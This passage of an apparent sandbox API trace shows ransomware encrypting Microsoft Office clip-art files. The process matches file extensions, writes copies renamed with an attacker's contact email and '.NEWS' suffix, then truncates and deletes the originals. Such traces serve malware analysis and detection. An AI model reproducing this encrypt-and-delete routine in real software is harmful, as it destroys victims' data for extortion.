lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=26768) returned 1 [0184.521] CloseHandle (hObject=0x51c) returned 1 [0184.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 0x220 [0184.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0184.522] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.522] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.523] GetLastError () returned 0x0 [0184.523] ReadFile (in: hFile=0x51c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x6890, lpOverlapped=0x0) returned 1 [0184.561] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x68a0, lpOverlapped=0x0) returned 1 [0184.564] ReadFile (in: hFile=0x51c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.564] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.565] SetEndOfFile (hFile=0x518) returned 1 [0184.565] CloseHandle (hObject=0x518) returned 1 [0184.565] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.565] SetEndOfFile (hFile=0x51c) returned 1 [0184.569] CloseHandle (hObject=0x51c) returned 1 [0184.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0184.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.571] lstrlenW (lpString=".doc") returned 4 [0184.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.571] lstrlenW (lpString=".docx") returned 5 [0184.571] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.571] lstrlenW (lpString=".pdf") returned 4 [0184.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.571] lstrlenW (lpString=".xls") returned 4 [0184.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.571] lstrlenW (lpString=".xlsx") returned 5 [0184.571] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.571] lstrlenW (lpString=".ppt") returned 4 [0184.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.572] lstrlenW (lpString=".zip") returned 4 [0184.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.572] lstrlenW (lpString=".rar") returned 4 [0184.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString=".bz2") returned 4 [0184.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString=".7z") returned 3 [0184.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.572] lstrlenW (lpString=".dbf") returned 4 [0184.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.572] lstrlenW (lpString=".1cd") returned 4 [0184.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.572] lstrlenW (lpString=".jpg") returned 4 [0184.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.572] lstrlenW (lpString=".doc") returned 4 [0184.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString=".docx") returned 5 [0184.573] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0184.573] lstrlenW (lpString=".pdf") returned 4 [0184.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.573] lstrlenW (lpString=".xls") returned 4 [0184.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.573] lstrlenW (lpString=".xlsx") returned 5 [0184.573] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0184.573] lstrlenW (lpString=".ppt") returned 4 [0184.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.573] lstrlenW (lpString=".zip") returned 4 [0184.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.574] lstrlenW (lpString=".rar") returned 4 [0184.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.574] lstrlenW (lpString=".bz2") returned 4 [0184.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.574] lstrlenW (lpString=".7z") returned 3 [0184.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.574] lstrlenW (lpString=".dbf") returned 4 [0184.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.574] lstrlenW (lpString=".1cd") returned 4 [0184.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0184.574] lstrlenW (lpString=".jpg") returned 4 [0184.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.574] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.574] lstrlenW (lpString="J0107708.WMF") returned 12 [0184.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0184.746] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4808) returned 1 [0184.746] CloseHandle (hObject=0x3f4) returned 1 [0184.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 0x220 [0184.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0184.747] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.747] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0184.749] GetLastError () returned 0x0 [0184.749] ReadFile (in: hFile=0x3f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x12c8, lpOverlapped=0x0) returned 1 [0184.764] WriteFile (in: hFile=0x568, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x12d0, lpOverlapped=0x0) returned 1 [0184.765] ReadFile (in: hFile=0x3f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.766] WriteFile (in: hFile=0x568, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0184.766] SetEndOfFile (hFile=0x568) returned 1 [0184.766] CloseHandle (hObject=0x568) returned 1 [0184.766] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.766] SetEndOfFile (hFile=0x3f4) returned 1 [0184.769] CloseHandle (hObject=0x3f4) returned 1 [0184.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 1 [0184.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.771] lstrlenW (lpString=".doc") returned 4 [0184.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.771] lstrlenW (lpString=".docx") returned 5 [0184.771] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.771] lstrlenW (lpString=".pdf") returned 4 [0184.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.771] lstrlenW (lpString=".xls") returned 4 [0184.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.771] lstrlenW (lpString=".xlsx") returned 5 [0184.771] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.771] lstrlenW (lpString=".ppt") returned 4 [0184.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.772] lstrlenW (lpString=".zip") returned 4 [0184.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.772] lstrlenW (lpString=".rar") returned 4 [0184.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.772] lstrlenW (lpString=".bz2") returned 4 [0184.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.772] lstrlenW (lpString=".7z") returned 3 [0184.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.772] lstrlenW (lpString=".dbf") returned 4 [0184.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.772] lstrlenW (lpString=".1cd") returned 4 [0184.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.772] lstrlenW (lpString=".jpg") returned 4 [0184.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.772] lstrlenW (lpString=".doc") returned 4 [0184.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.772] lstrlenW (lpString=".docx") returned 5 [0184.772] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.772] lstrlenW (lpString=".pdf") returned 4 [0184.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.772] lstrlenW (lpString=".xls") returned 4 [0184.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.773] lstrlenW (lpString=".xlsx") returned 5 [0184.773] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.773] lstrlenW (lpString=".ppt") returned 4 [0184.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.773] lstrlenW (lpString=".zip") returned 4 [0184.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.773] lstrlenW (lpString=".rar") returned 4 [0184.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.773] lstrlenW (lpString=".bz2") returned 4 [0184.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.773] lstrlenW (lpString=".7z") returned 3 [0184.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.773] lstrlenW (lpString=".dbf") returned 4 [0184.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.773] lstrlenW (lpString=".1cd") returned 4 [0184.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0184.773] lstrlenW (lpString=".jpg") returned 4 [0184.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.773] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.773] lstrlenW (lpString="J0107730.WMF") returned 12 [0184.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0184.775] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3060) returned 1 [0184.775] CloseHandle (hObject=0x3f4) returned 1 [0184.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 0x220 [0184.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0184.775] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.776] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0184.777] GetLastError () returned 0x0 [0184.777] ReadFile (in: hFile=0x3f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xbf4, lpOverlapped=0x0) returned 1 [0185.036] WriteFile (in: hFile=0x568, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xc00, lpOverlapped=0x0) returned 1 [0185.037] ReadFile (in: hFile=0x3f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0185.037] WriteFile (in: hFile=0x568, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0185.037] SetEndOfFile (hFile=0x568) returned 1 [0185.037] CloseHandle (hObject=0x568) returned 1 [0185.037] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.038] SetEndOfFile (hFile=0x3f4) returned 1 [0185.040] CloseHandle (hObject=0x3f4) returned 1 [0185.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0185.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.238] lstrlenW (lpString=".doc") returned 4 [0185.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.238] lstrlenW (lpString=".docx") returned 5 [0185.238] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0185.238] lstrlenW (lpString=".pdf") returned 4 [0185.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.238] lstrlenW (lpString=".xls") returned 4 [0185.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.238] lstrlenW (lpString=".xlsx") returned 5 [0185.239] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0185.239] lstrlenW (lpString=".ppt") returned 4 [0185.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.239] lstrlenW (lpString=".zip") returned 4 [0185.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.239] lstrlenW (lpString=".rar") returned 4 [0185.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.239] lstrlenW (lpString=".bz2") returned 4 [0185.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.239] lstrlenW (lpString=".7z") returned 3 [0185.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.239] lstrlenW (lpString=".dbf") returned 4 [0185.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.239] lstrlenW (lpString=".1cd") returned 4 [0185.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.239] lstrlenW (lpString=".jpg") returned 4 [0185.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.239] lstrlenW (lpString=".doc") returned 4 [0185.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.240] lstrlenW (lpString=".docx") returned 5 [0185.240] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0185.240] lstrlenW (lpString=".pdf") returned 4 [0185.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.240] lstrlenW (lpString=".xls") returned 4 [0185.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.240] lstrlenW (lpString=".xlsx") returned 5 [0185.240] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0185.240] lstrlenW (lpString=".ppt") returned 4 [0185.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.240] lstrlenW (lpString=".zip") returned 4 [0185.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.240] lstrlenW (lpString=".rar") returned 4 [0185.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.240] lstrlenW (lpString=".bz2") returned 4 [0185.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.240] lstrlenW (lpString=".7z") returned 3 [0185.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.241] lstrlenW (lpString=".dbf") returned 4 [0185.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.241] lstrlenW (lpString=".1cd") returned 4 [0185.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0185.241] lstrlenW (lpString=".jpg") returned 4 [0185.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.241] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0185.241] lstrlenW (lpString="J0144773.JPG") returned 12 [0185.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0185.243] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=40231) returned 1 [0185.243] CloseHandle (hObject=0x568) returned 1 [0185.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 0x220 [0185.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 